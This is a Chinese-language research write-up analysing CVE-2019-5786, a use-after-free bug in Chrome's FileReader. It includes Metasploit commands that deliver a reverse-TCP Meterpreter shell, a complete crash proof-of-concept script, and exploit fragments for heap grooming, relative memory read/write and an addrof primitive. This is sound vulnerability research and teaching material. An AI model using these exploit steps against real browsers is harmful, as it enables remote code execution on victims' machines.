Blink FileReader UAF漏洞(CVE-2019-5786) 一、漏洞信息 1、漏洞简述
漏洞名称:Blink FileReader UAF漏洞(CVE-2019-5786)
漏洞编号:CVE-2019-5786
漏洞类型:UAF
漏洞影响:远程代码执行
CVSS3.0:N/A
CVSS2.0:N/A
漏洞危害等级:严重
2、组件和漏洞概述 Blink是Google基于WebKit fork出的自己的渲染引擎。
3、相关链接 https://bugs.chromium.org/p/chromium/issues/detail?id=936448
https://chromium.googlesource.com/chromium/src.git/+/150407e8d3610ff25a45c7c46877333c4425f062%5E%21/
4、解决方案 https://chromereleases.googleblog.com/2019/03/stable-channel-update-for-desktop.html
二、漏洞复现 1、环境搭建 安装72.0.3626.81的Chrome浏览器
2、复现过程 (1)msf复现 1、打开msf
1 2 3 4 5 use exploit/windows/browser/chrome_filereader_uaf set payload windows/meterpreter/reverse_tcpset URIPATH /set LHOST 192.168.126.132run
2、搭建WIn7 x86环境,安装Chrome在Chrome快捷方式->目标后面加上”–no-sandbox”,并使用该快捷方式启动Chrome,用来创建一个关闭沙箱的Chrome进程。访问恶意地址网页。
3、msf出获得session
(2)github公开exp复现 搭建win 7 sp1 x86漏洞环境,访问漏洞exp页面,复现结果如下。(复现时个人机器访问iframe.html无法成功弹出计算器,直接访问exploit.html才可以成功的进行复现,仅做记录)
三、漏洞分析 1、基本信息
漏洞文件:third_party/blink/renderer/core/fileapi/file_reader_loader.cc
漏洞函数:FileReaderLoader::ArrayBufferResult()
编译后漏洞文件:chrome_child.dll
编译后漏洞函数:blink::FileReaderLoader::ArrayBufferResult()
2、背景知识 (0)FileReader对象 前言:
HTML5的FileReader API可以让客户端浏览器对用户本地文件进行读取,这样就不再需要上传文件由服务器进行读取了,这大大减轻了服务器的负担,也节省了上传文件所需要的时间。
下面的内容参考[1]
该**FileReader
**对象可以异步读取用户计算机上存储的文件(或原始数据缓冲区)的内容,使用[File]或[Blob]对象指定要读取的文件或数据。Blob对象代表不可变的原始数据的类似文件的对象。它们可以读取为文本或二进制数据,也可以转换为Readable Stream。 Blob可以表示不一定是JavaScript本机格式的数据。 File接口基于Blob,继承了Blob功能并将其扩展为支持用户系统上的文件。File提供有关文件的信息,并允许网页中的JavaScript访问其内容。
FileReader相关的状态[1]如下,EMPTY(还未加载)、LOADING(正在加载)、DONE(加载完成)
FileReader有一些内置事件,包括abort、error、load、loadend、loadstart、progress。可以为这些事件自定义处理函数,其中progress事件在读取数据时定期触发,我们可以注册progress事件的回调函数。如果在这时候去获取result,就会在未加载完成时进入FileReaderLoader::ArrayBufferResult函数。如果将要读取的数据的长度设置的稍微大一点,就会在加载的过程中多次回调这个函数。
FileReader.onprogress
A handler for the progress
event. This event is triggered while reading a Blob
content. FileReader.onloadstart
A handler for the loadstart
event. This event is triggered each time the reading is starting.
(1)Chrome调试方式 (1)确定要调试的进程pid
因为chrome是多进程模式,所以在调试的时候会有多个chrome进程。可以通过打开Chrome本身的任务管理器(shift+esc)来查看相关信息
通过打开的标签页可以看到我们具体要操作的是哪个pid,这里假如我们的目标是123这个标签页的话,需要调试的pid则为11708。
(2)attach process
之后就是常规的attach操作了,这里就不贴图了。
(2)符号服务器以及符号文件配置 (1)Chrome
Chrome可以配置系统的环境变量来指定相关的符号服务器[2],具体操作方法为新增环境变量
1 2 变量名:_NT_SYMBOL_PATH 变量值:SRV*c:\symbols*https://msdl.microsoft.com/download/symbols;SRV*c:\symbols*https://chromium-browser-symsrv.commondatastorage.googleapis.com
(2)Chromium
Chromium可以下载相关的pdb文件来进行调试,可以通过[3]下载旧版本的Chromium应用程序以及符号文件等,下图链接参考[4]
(3)代码查看工具sourcegraph 该工具可以查看变量的定义和引用等。
(4)Web Worker 在chrome中,Worker由v8实现,而非blink,验证如下
1 2 3 4 5 6 7 8 9 10 #1. js if (typeof (Worker)!=="undefined" ){ console .log("1" ); console .log(typeof (Worker)); } else { console .log("2" ); }
1 2 3 root@ubuntu:~/v8/v8/out/x64.release 1 function
其实这种方式是可以确定js函数是在v8引擎实现的还是在blink引擎实现的,比如
1 2 3 4 5 6 7 8 9 10 #1. js if (typeof (FileReader)!=="undefined" ){ console .log("1" ); console .log(typeof (FileReader)); } else { console .log("2" ); }
1 2 root@ubuntu:~/v8/v8/out/x64.release 2
而在浏览器中就可以正常的输出,将console.log替换为document.write
扯远了,继续说Web Worker
JavaScript 语言采用的是单线程模型,也就是说,所有任务只能在一个线程上完成,一次只能做一件事。前面的任务没做完,后面的任务只能等着。随着电脑计算能力的增强,尤其是多核 CPU 的出现,单线程带来很大的不便,无法充分发挥计算机的计算能力。
Web Worker 的作用,就是为 JavaScript 创造多线程环境,允许主线程创建 Worker 线程,将一些任务分配给后者运行。在主线程运行的同时,Worker 线程在后台运行,两者互不干扰。等到 Worker 线程完成计算任务,再把结果返回给主线程。这样的好处是,一些计算密集型或高延迟的任务,被 Worker 线程负担了,主线程(通常负责 UI 交互)就会很流畅,不会被阻塞或拖慢。
Worker 线程一旦新建成功,就会始终运行,不会被主线程上的活动(比如用户点击按钮、提交表单)打断。这样有利于随时响应主线程的通信。但是,这也造成了 Worker 比较耗费资源,不应该过度使用,而且一旦使用完毕,就应该关闭。
Web Worker 有以下几个使用注意点。
(1)同源限制
分配给 Worker 线程运行的脚本文件,必须与主线程的脚本文件同源。
(2)DOM 限制
Worker 线程所在的全局对象,与主线程不一样,无法读取主线程所在网页的 DOM 对象,也无法使用document
、window
、parent
这些对象。但是,Worker 线程可以navigator
对象和location
对象。
(3)通信联系
Worker 线程和主线程不在同一个上下文环境,它们不能直接通信,必须通过消息完成。
(4)脚本限制
Worker 线程不能执行alert()
方法和confirm()
方法,但可以使用 XMLHttpRequest 对象发出 AJAX 请求。
(5)文件限制
Worker 线程无法读取本地文件,即不能打开本机的文件系统(file://
),它所加载的脚本,必须来自网络。[6]
(5)std::move 函数原型定义如下
1 2 3 4 5 template <typename T>typename remove_reference<T>::type&& move (T&& t) { return static_cast <typename remove_reference<T>::type&&>(t); }
通过move定义可以看出,move并没有”移动“什么内容,只是将传入的值转换为右值 ,此外没有其他动作。std::move+移动构造函数或者移动赋值运算符,才能充分起到减少不必要拷贝的意义。
std::move函数可以以非常简单的方式将左值引用转换为右值引用。(左值、左值引用、右值、右值引用 参见:[7])
通过std::move,可以避免不必要的拷贝操作。
std::move是为性能而生。
std::move是将对象的状态或者所有权从一个对象转移到另一个对象,只是转移,没有内存的搬迁或者内存拷贝。[8]
还有一份比较详细的解释,参考[9]
对于我们来说,move的作用就是转变所有权的过程,该过程不涉及内存拷贝而只是将某进程或线程的所有权转交给另一个进程或线程。
调试的过程中发现:所谓std::move并不是简单的替换指针指向,其中也会涉及到内存拷贝的操作以及内存释放的操作,具体为什么节约性能暂时不清楚,下面是当我操作string对象的时候的代码以及内存现场,其中涉及了内存拷贝的操作
1 2 3 4 5 6 7 8 9 #include <iostream> #include <utility> #include <string> int main () { std::string str = "Hello" ; std::string str1; str1 = std::move (str); }
函数调用栈如下,通过调试的过程中,发现std::move的过程是先通过memcpy拷贝内存,之后将原来内存的第一个字符overwrite为0x00,这样原来的str读取后就为空。
1 2 3 4 5 6 7 8 9 10 11 12 13 1 vcruntime140d.dll!memcpy(unsigned char * dst, unsigned char * src, unsigned long count) 2 test_c++.exe!std::string::_Memcpy_val_from(const std::string & _Right) 3 test_c++.exe!std::string::_Take_contents(std::string & _Right, std::integral_constant<bool,1> __formal) 4 test_c++.exe!std::string::_Move_assign(std::string & _Right, std::_Equal_allocators __formal) 5 test_c++.exe!std::string::operator=(std::string && _Right) 6 test_c++.exe!main() 7 test_c++.exe!invoke_main() 8 test_c++.exe!__scrt_common_main_seh() 9 test_c++.exe!__scrt_common_main() 10 test_c++.exe!mainCRTStartup(void * __formal) 11 kernel32.dll!@BaseThreadInitThunk@12() 12 ntdll.dll!__RtlUserThreadStart() 13 ntdll.dll!__RtlUserThreadStart@8()
所以不可以单纯的将std::move理解为不含任何空间拷贝或者分配释放,可能它的作用是减少空间拷贝的次数。
(6)ArrayBuffer Neutering 参考[14]
如何释放一个 ArrayBuffer 的 backing store 。通常而言,可以通过转移 ArrayBuffer (比如转移给另一个线程)来实现底层堆块的释放,这称之为 Neuter 。在 V8 中,ArrayBuffer 提供了 Neuter
方法,代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 /** * Detaches this ArrayBuffer and all its views (typed arrays). * Detaching sets the byte length of the buffer and all typed arrays to zero, * preventing JavaScript from ever accessing underlying backing store. * ArrayBuffer should have been externalized and must be detachable. */ void Detach(); // TODO(913887): fix the use of 'neuter' in the API. V8_DEPRECATE_SOON("Use Detach() instead.", inline void Neuter()) { Detach(); } /** * Make this ArrayBuffer external. The pointer to underlying memory block * and byte length are returned as |Contents| structure. After ArrayBuffer * had been externalized, it does no longer own the memory block. The caller * should take steps to free memory when it is no longer needed. * * The Data pointer of ArrayBuffer::Contents must be freed using the provided * deleter, which will call ArrayBuffer::Allocator::Free if the buffer * was allocated with ArraryBuffer::Allocator::Allocate. */ Contents Externalize();
可以看到,调用 Neuter
时 ArrayBuffer 已经被 Externalized 了,此时 ArrayBuffer 的 backing store 已经被调用方所释放了。
Neuter 一个 ArrayBuffer 的常规做法是把它转移给一个工作者线程( Web Workers )。与桌面软件一样,JavaScript 默认的执行线程为 UI 线程,如果要执行复杂的计算工作,应当新建一个工作者线程来执行任务,以防止 UI 失去响应。
在 JavaScript 中,各线程之间通过 postMessage
实现数据的发送、通过 onmessage
回调函数实现消息的相应。线程之间的数据传递是通过复制(而不是共享)来实现的,因此传递对象时会经历序列化和反序列化的过程,即传出时进行序列化,传入时进行反序列化。大多数浏览器通过 Structured clone algorithm 来实现这一特性。
如果要传递的对象实现了 Transferable 接口,那么可以实现数据的高效转移,即并不复制数据,而是通过直接转移所有权来实现传递。对于这种传递方式,因为直接转移了所有权,因此原有线程不再享有对象数据的访问权限。ArrayBuffer 就是以这样的方式转移的,但这里笔者有一个 疑问 :实际情况中,原有 ArrayBuffer 的 backing store 会被释放,显然在接收线程中会有新的堆块的分配以及数据的复制,并不是简单的修改指针的指向,这和 MDN 的文档描述的高效理念是冲突的。
线程相关的两个重要概念定义如下:
postMessage
发送消息
1 worker.postMessage(message, [transfer]);
message 表示要传递的数据
如果有实现了 Transferable
的对象,可以以数组元素的方式放到第二个参数中,以提高传递效率,但是在第一个参数中需要指定一个引用,以方便目标线程接收
onmessage
响应消息
1 myWorker.onmessage = function(e) { ... }
一个简单的例子如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <!-- main.html 的代码 --> <script> var ab = new ArrayBuffer(0x1000); var worker = new Worker('worker.js'); console.log('Main thread: before postMessage, ab.byteLength is ' + ab.byteLength); worker.postMessage(ab, [ab]); console.log('Main thread: after postMessage, ab.byteLength is ' + ab.byteLength); </script> // worker.js 的代码 onmessage = function(message) { var ab = message.data; console.log('Worker thread: received: ' + ab); console.log('Wroker thread: ArrayBuffer.byteLength is : ' + ab.byteLength); }
输出如下所示:
1 2 3 4 Main thread: before postMessage, ab.byteLength is 4096 Main thread: after postMessage, ab.byteLength is 0 Worker thread: received: [object ArrayBuffer] Wroker thread: ArrayBuffer.byteLength is : 4096
McAfee Labs 的文章提到,使用 AudioContext.decodeAudioData 同样可以实现 ArrayBuffer 的 Neuter 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <script> var ab = new ArrayBuffer(0x1000); var context = new AudioContext(); console.log('Before decodeAudioData, ab.byteLength is ' + ab.byteLength); context.decodeAudioData(ab, function(buffer) { console.log('decode succeed: ' + buffer); }, function(e) { console.log('decode failed: ' + e); } ); console.log('After decodeAudioData, ab.byteLength is ' + ab.byteLength); </script>
由测试结果可知,不管解码成功与否,ArrayBuffer 都会被转移:
1 2 3 Before decodeAudioData, ab.byteLength is 4096 After decodeAudioData, ab.byteLength is 0 decode failed: EncodingError: Unable to decode audio data
3、补丁比较 观察补丁代码,可以发现在if (!finished_loading_)的逻辑上做了修改
补丁前处理逻辑:
1 return DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
补丁后处理逻辑
1 return DOMArrayBuffer::Create(ArrayBuffer ::Create(raw_data_->Data(), raw_data_->ByteLength()));
可以看出一个使用了raw_data_->ToArrayBuffer()作为参数,另一个使用了ArrayBuffer::Create()的返回值作为参数。
而commit的信息也提示了我们修复后的代码可能新开辟了一块内存
1 2 3 4 Merge M72: FileReader: Make a copy of the ArrayBuffer when returning partial results. This is to avoid accidentally ending up with multiple references to the same underlying ArrayBuffer.
猜测补丁后的Create将原有buffer内容复制到了一个新的buffer上,目的是为了避免多个指针指向同一块内存引发误操作。
4、漏洞分析 (1)静态分析 通过代码分析下函数功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 DOMArrayBuffer* FileReaderLoader::ArrayBufferResult () { DCHECK_EQ (read_type_, kReadAsArrayBuffer); if (array_buffer_result_) return array_buffer_result_; if (!raw_data_ || error_code_ != FileErrorCode::kOK) return nullptr ; DOMArrayBuffer* result = DOMArrayBuffer::Create (raw_data_->ToArrayBuffer ()); if (finished_loading_) { array_buffer_result_ = result; AdjustReportedMemoryUsageToV8 ( -1 * static_cast <int64_t >(raw_data_->ByteLength ())); raw_data_.reset (); } return result; }
FileReaderLoader::ArrayBufferResult函数首先判断文件是否已经全部读取完成,如果已全部读取完成,则返回该缓冲区,如果尚未加载或产生错误,则返回空,如果数据正在被加载,则返回DOMArrayBuffer::Create(raw_data_->ToArrayBuffer())的返回值。
修复后的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 DOMArrayBuffer* FileReaderLoader::ArrayBufferResult () { DCHECK_EQ (read_type_, kReadAsArrayBuffer); if (array_buffer_result_) return array_buffer_result_; if (!raw_data_ || error_code_ != FileErrorCode::kOK) return nullptr ; if (!finished_loading_) { return DOMArrayBuffer::Create ( ArrayBuffer::Create (raw_data_->Data (), raw_data_->ByteLength ())); } array_buffer_result_ = DOMArrayBuffer::Create (raw_data_->ToArrayBuffer ()); AdjustReportedMemoryUsageToV8 (-1 * static_cast <int64_t >(raw_data_->ByteLength ())); raw_data_.reset (); return array_buffer_result_; }
修复后的逻辑仅仅在数据正在被加载时的处理不同,它使用了DOMArrayBuffer::Create(ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()))的返回值。
所以首先查看ToArrayBuffer()函数,首先判断已加载的部分是否等于buffer的长度,如果不满足条件,则调用Slice函数对buffer_进行切割。
1 2 3 4 5 6 7 8 scoped_refptr<ArrayBuffer> ArrayBufferBuilder::ToArrayBuffer () { if (buffer_->ByteLength () == bytes_used_) return buffer_; return buffer_->Slice (0 , bytes_used_); }
继续查看Slice函数,简单的调用了SliceImpl函数对buffer_进行处理。
1 2 3 scoped_refptr<ArrayBuffer> ArrayBuffer::Slice (int begin, int end) const { return SliceImpl (ClampIndex (begin), ClampIndex (end)); }
这里的ClampIndex函数作用为对参数值进行处理,首先将小于0的参数转换成从后面计算的偏移,之后再将参数限定在0和ByteLength()之间。其目的就是对参数进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned ArrayBuffer::ClampIndex (int index) const { unsigned current_length = ByteLength (); if (index < 0 ) index = static_cast <int >(current_length + index); return ClampValue (index, 0 , current_length); } unsigned ArrayBuffer::ClampValue (int x, unsigned left, unsigned right) { DCHECK_LE (left, right); unsigned result; if (x < 0 ) result = left; else result = static_cast <unsigned >(x); if (result < left) result = left; if (right < result) result = right; return result; }
继续跟进SliceImpl函数,该函数调用了ArrayBuffer::Create函数,以static_cast<const char*>(Data()) + begin与长度作为参数。
1 2 3 4 scoped_refptr<ArrayBuffer> ArrayBuffer::SliceImpl (unsigned begin, unsigned end) const { size_t size = static_cast <size_t >(begin <= end ? end - begin : 0 ); return ArrayBuffer::Create (static_cast <const char *>(Data ()) + begin, size); }
查看下Data()的定义,发现是将buffer的数据返回,
1 2 3 void * ArrayBuffer::Data () { return contents_.Data (); }
再看下ArrayBuffer::Create函数,该函数的作用就是创建一个buffer,并将之前的数据拷贝进去。
1 2 3 4 5 6 7 8 scoped_refptr<ArrayBuffer> ArrayBuffer::Create (const void * source, size_t byte_length) { ArrayBufferContents contents (byte_length, 1 , ArrayBufferContents::kNotShared, ArrayBufferContents::kDontInitialize) ; if (UNLIKELY (!contents.Data ())) OOM_CRASH (); scoped_refptr<ArrayBuffer> buffer = base::AdoptRef (new ArrayBuffer (contents)); memcpy (buffer->Data (), source, byte_length); return buffer; }
这时我们从该函数抽出,返回到最开始代码位置,查看DOMArrayBuffer* Create函数逻辑
1 2 3 4 5 6 7 #third_party/blink/renderer/core/fileapi/file_reader_loader.cc DOMArrayBuffer* result = DOMArrayBuffer::Create (raw_data_->ToArrayBuffer ()); #third_party/blink/renderer/core/typed_arrays/dom_array_buffer.h static DOMArrayBuffer* Create (scoped_refptr<WTF::ArrayBuffer> buffer) { return MakeGarbageCollected<DOMArrayBuffer>(std::move (buffer)); }
可以看出通过std::move操作了buffer缓冲区,关于std::move在背景知识的第5部分已经进行了描述,这里的作用是将该缓冲区的所有权从主线程转移到了worker线程。
(2)动态调试 (1)触发相关函数 首先编写代码触发函数调用,通过动态调试查看我们关心的数据结构并理清程序的执行流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <script > const string_size = 128 * 1024 * 1024 ;let contents = String .prototype.repeat.call('Z' , string_size);let blob = new Blob([contents]);let reader = new FileReader(); reader.onprogress = function (evt ) { console .log(`[onprogress] read length = 0x${evt.target.result.byteLength.toString(0x10 )} ` ); } reader.onloadend = function (evt ) { console .log(`[onloadend] read length = 0x${evt.target.result.byteLength.toString(0x10 )} ` ); } reader.readAsArrayBuffer(blob); </script > >
执行结果如下,可以看出onprogress和onloadend都会处理长度为0x8000000的情况
动态调试分析下源代码中下面的这段逻辑代码:
1 DOMArrayBuffer* result = DOMArrayBuffer::Create (raw_data_->ToArrayBuffer ());
查看ArrayBuffer::Create()函数的返回值。返回的是一个buffer结构体简介指针,可以通过这个指针获取到ByteLength()和Data()。
而这个返回值我们关心的内存地址可以通过下面的表达式获取,其中偏移0x4的位置为data数据存放位置,偏移0x8的位置为返回的buffer的大小
1 2 3 4 0:000> dd eax L4 009cedb8 49c04f20 009cedbc d1bd2bff 3b0937a0 0:000> dd poi(poi(eax)+4) L4 49c68220 00000001 1c204000 07300000 10e9de4c
再经由上层的DOMArrayBuffer::Create()函数处理之后,返回值为0x58954e00。同样可以通过这个指针获取到ByteLength()和Data()。
1 2 3 4 0:000> dd eax L4 58954e00 1331e300 00000000 49c04f20 00000000 0:000> dd poi(poi(eax+0x8)+0x4) L4 49c68220 00000001 1c204000 07300000 10e9de4c
ToArrayBuffer()函数调用了ArrayBuffer::Create()函数来分配buffer,而ArrayBuffer::Create()的返回值实际上也正是ToArrayBuffer()的返回值。是上面的0x009cedb8,将该返回值作为DOMArrayBuffer::Create()函数的参数,该函数同样得到了一个返回值0x58954e00。
(2)简单梳理 简单梳理下代码静态分析以及刚刚动态调试得到的结果。还是拿之前的FileReaderLoader::ArrayBufferResult()代码进行描述:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 DOMArrayBuffer* FileReaderLoader::ArrayBufferResult ( ) { DCHECK_EQ(read_type_, kReadAsArrayBuffer); if (array_buffer_result_) return array_buffer_result_; if (!raw_data_ || error_code_ != FileErrorCode::kOK) return nullptr; DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer()); if (finished_loading_) { array_buffer_result_ = result; AdjustReportedMemoryUsageToV8( -1 * static_cast<int64_t>(raw_data_->ByteLength())); raw_data_.reset(); } return result; }
由于先执行了DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());再对 finished_loading_进行判断以对array_buffer_result_进行赋值,之后在代码的最上面对 array_buffer_result_ 进行判断,所以就存在这样一个问题:文件加载完成后,ToArrayBuffer逻辑中对buffer_->ByteLength与bytes_used_是否相等的判断才会成功,从而从而直接返回缓冲区的指针,否则返回指向该缓冲区副本的指针。我们聚焦下直接返回缓冲区的指针的情况,此时返回的指针result可以间接指向buffer的缓冲区,之后finished_loading_加载完成,执行了语句 array_buffer_result_ = result; 这样我们下次进入该函数时,通过了第三行代码的判断,直接放回间接指向buffer缓冲区的指针,此时原来的result指针也可以操作buffer缓冲区,由于两个指针可以同时操作一块地址空间,这就造成了UAF。
下面是调试记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #下面的四个内存分布对应了上面的四次事件触发 0:000> dd eax 58957318 1331e300 00000000 49c04680 00000000 0:000> dd eax 58957328 1331e300 00000000 49c04820 00000000 0:000> dd eax 58957338 1331e300 00000000 49c04820 00000000 0:000> dd esi 58957338 1331e300 09551ff8 49c04820 00000000 0:000> dd 49c04680 49c04680 00000001 49c6a560 00000000 00000000 0:000> dd 49c04820 49c04820 00000002 49c6a4c0 00000000 00000000 0:000> dd 49c04820 49c04820 00000003 49c6a4c0 00000000 00000000 0:000> dd 49c04820 49c04820 00000002 49c6a4c0 00000000 00000000 0:000> dd 49c6a560 49c6a560 00000001 a0204000 07ff0000 10e9de4c #第一次为bytes_used_还小于buffer_->ByteLength时,此时偏移0x8位置为临时buffer 0:000> dd 49c6a4c0 49c6a4c0 00000001 80004000 08000000 10e9de4c #后面三次为bytes_used_等于buffer_->ByteLength时,此时偏移0x8位置为真实要操作的buffer 0:000> dd 49c6a4c0 49c6a4c0 00000001 80004000 08000000 10e9de4c 0:000> dd 49c6a4c0 49c6a4c0 00000001 80004000 08000000 10e9de4c #此时可见58957328与58957338两个指针都可以操作49c04820这块空间,进而控制buffer,如果释放掉其中一个而使用另外一个,则会造成UAF。 0:000> dd 58957328 58957328 1331e300 095520d8 49c04820 00a80010 58957338 1331e300 09551ff8 49c04820 00000000
对上面的内存现场进行分析
1、第一次尚未读取完成,返回的指针指向临时buffer中。大小0x07ff0000。
2、第二次读取完成,但是此时finished_loading_还未置为1,返回真实buffer。大小0x08000000。
3、第三次读取完成,此时finished_loading_已经置为1,并对array_buffer_result_进行了赋值。返回真实buffer。大小0x08000000。与2的指针值不相同。
2、第四次读取完成,触发onloadend,返回真实buffer。大小0x08000000,与3的指针值相同。
简单来说就是由于逻辑错误使两个指针可以操作同一块内存,而且可以发现最后两个onprogress指针地址就是不相同的,而onloadend与最后一个onprogress的指针是相同的。所以poc或者exp的构造方式就有两种情况:
1、找到最后两个相同大小的onprogress指针进行操作。(下面exp的方式)
2、找到倒数第二个onprogress指针与onloadend指针进行操作,当然也需要这两个指针指向的长度相同。(下面poc的方式)
(3)POC分析 代码如下,这里的代码参考[14]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <script > var ab1, ab2;var byteLength = 100 * 1024 * 1024 ;function onProgress (event ) { if (ab1.byteLength != byteLength) { ab1 = event.target.result; } } function onLoadEnd (event ) { ab2 = event.target.result; if (ab1 != ab2 && ab1.byteLength == ab2.byteLength) { var flag = 0x61616161 ; new DataView (ab1).setUint32(0 , flag, true ); if (new DataView (ab2).getUint32(0 , true ) == flag) { console .log('verify succeed! try crash self...' ); crash(); return ; } else { console .log('verify failed, retry now...' ); } } else { console .log('failed this time, retry now...' ); } window .setTimeout(init, 1000 ); } function init ( ) { ab1 = ab2 = new ArrayBuffer (0 ); var string = 'A' .repeat(byteLength); var blob = new Blob([string]); var reader = new FileReader(); reader.onprogress = onProgress; reader.onloadend = onLoadEnd; reader.readAsArrayBuffer(blob); } function crash ( ) { var worker = new Worker('worker.js' ); try { worker.postMessage(ab1, [ab1, ab2]); } catch (e) { var errmsg = 'ArrayBuffer at index 1 could not be transferred' ; if (e.message.indexOf(errmsg) != -1 ) { var dv = new DataView (ab2); dv.setUint32(4 , 0x42424242 , true ); } else { window .setTimeout(init, 1000 ); } } } init(); </script >
1 2 onmessage = function (message ) { }
poc思路已经再poc注释中描述的很清晰了,核心思路就是通过onProgress和onLoadEnd得到两个可以指向相同结构体的指针,然后通过postMessage释放其中的一个指针,之后再使用了第二个指针触发漏洞。
运行查看可用性,发现成功触发crash
附加windbg,可以查看到相关内存现场
1 2 3 4 5 6 7 8 9 0:000> g (8b4.1ea4): Access violation - code c0000005 (!!! second chance !!!) eax=00000004 ebx=008fe6a8 ecx=00000042 edx=00000042 esi=00000042 edi=13e04000 eip=106dbd06 esp=0053eb2c ebp=0053eb54 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 chrome_child!Builtins_DataViewPrototypeSetUint32+0x386: 106dbd06 881407 mov byte ptr [edi+eax],dl ds:002b:13e04004=?? 0:000> dd edi L1 13e04000 ????????
此时edi指向的内存已经被释放了,当使用另一块指向同样内存的指针时将会触发访问错误。
(4)exp分析 exp打印日志如下,详细代码见[13]
1 2 3 4 5 6 7 8 9 10 11 hello, world! exploit.js:332 Array buffer allocation failed exploit.js:341 attempt 0 started exploit.js:289 onloadend attempt 1 after 76 onprogress callbacks exploit.js:54 found possible candidate objectat idx 4190250 exploit.js:188 leaked absolute address of our object 5e0009c exploit.js:189 leaked absolute address of ta 4e04000 exploit.js:70 found object idx in the spray array: 201 816 exploit.js:199 addrof(reader_obj) == 98566301 exploit.js:110 found corruptable Uint32Array->elements at 4ec1118, on Uint32Array idx 17 837 exploit.js:246 success
exp分析步骤参考[11],[15]
(1)分配128Mib字符串 分配一个较大的字符串(128MiB),它将用作传递给FileReader 的Blob 的源。该分配将最终在自下而上的分配之后在自由区域中进行(从上面列出的地址空间中的36690000开始 )。
1 2 3 const string_size = 128 * 1024 * 1024 ;let contents = String .prototype.repeat.call('Z' , string_size);let f = new File([contents], "text.txt" );
(2) 堆布局 在32位win7系统中通过申请1GB的ArrayBuffer,Chrome会尝试释放512MB保留内存,而分配失败的OOM异常可以被脚本捕获使得render进程不会crash,最终导致前面申请的128MB的ArrayBuffer在这块512MB内存上分配,不受隔离堆保护,释放后可以被其他js对象占位。
1 2 3 4 5 try { let failure = new ArrayBuffer (1024 * 1024 * 1024 ); } catch (e) { console .log(e.message); }
(3)获取触发UAF的两个指针 调用FileReader.readAsArrayBuffer 。将触发多个onprogress 事件,如果事件的时间安排正确,则最后两个事件可以返回对同一基础ArrayBuffer的引用。可以无限重复此步骤,直到成功为止,而不会导致过程崩溃。
1 2 3 4 5 6 7 8 9 10 11 12 13 reader.onprogress = function (evt ) { force_gc(); let res = evt.target.result; onprogress_cnt += 1 ; if (res.byteLength != f.size) { return ; } lastlast = last; last = res; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 reader.onloadend = function (evt ) { try_cnt += 1 ; failure = false ; if (onprogress_cnt < 2 ) { console .log(`less than 2 onprogress events triggered: ${onprogress_cnt} , try again` ); failure = true ; } if (lastlast.byteLength != f.size) { console .log(`lastlast has a different size than expected: ${lastlast.byteLength} ` ); failure = true ; } if (failure === true ) { console .log('retrying in 1 second' ); window .setTimeout(exploit, 1 ); return ; } console .log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks` ); }
(4)触发漏洞 直接调用postmessage可以触发漏洞,之后通过捕获到UAF的异常进入catch逻辑,执行get_rw()与rce()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 reader.onloadend = function (evt ) { try { myWorker.postMessage([last], [last, lastlast]); } catch (e) { if (e.message.includes('ArrayBuffer at index 1 could not be transferred' )) { get_rw(); rce(); return ; } else { console .log(e.message); } } }
(5)类型混淆准备,相对地址读写 1 2 3 4 5 6 7 8 9 10 11 12 function reclaim_mixed ( ) { let tmp = {}; for (let i = 0 ; i < outers; i++) { for (let j = 0 ; j + 2 < inners; j+=3 ) { spray[i][j] = {a : marker1, b : marker2, c : tmp}; spray[i][j].c = spray[i][j] spray[i][j+1 ] = new Array (8 ); spray[i][j+2 ] = new Uint32Array (32 ); } } }
其实就是对spray数组循环存取下面的内存布局
{
{
{a: marker1, b: marker2, c: spray[i][j]};
}
Array(8);
Uint32Array(32);
}
之后可以通过tarray搜索到marker1的flag内存区域,然后根据偏移找到对象地址以及tarray的首地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 tarray = new Uint32Array (lastlast); object_prop_taidx = find_pattern(); const obj_absolute_addr = tarray[object_prop_taidx + 2 ] - 1 ; ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3 )*4 console .log(`leaked absolute address of our object ${obj_absolute_addr.toString(16 )} ` );console .log(`leaked absolute address of ta ${ta_absolute_addr.toString(16 )} ` );reader_obj = get_obj_idx(object_prop_taidx); console .log(`addrof(reader_obj) == ${addrof(reader_obj)} ` ); aarw_ui32 = get_corruptable_ui32a();
spray[i][j]的内存现场如下
1 2 3 0:016> dd 9770B8C 09770b8c 047008bd 03a0066d 03a0066d 6c626466 09770b9c 6e828a8c 09770b8d 03a00435 00000010
之后得到了相对地址读写的功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function ta_read (addr ) { if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) { return tarray[(addr-ta_absolute_addr)/4 ]; } return 0 ; } function ta_write (addr, value ) { if (addr % 4 || value > 2 **32 - 1 || addr < ta_absolute_addr || addr > ta_absolute_addr + string_size) { console .log(`invalid args passed to ta_write(${addr.toString(16 )} , ${value} ` ); } tarray[(addr-ta_absolute_addr)/4 ] = value; }
接下来就可以通过类型混淆得到addressof的功能了
1 2 3 4 function addrof (leaked_obj ) { reader_obj.a = leaked_obj; return tarray[object_prop_taidx]; }
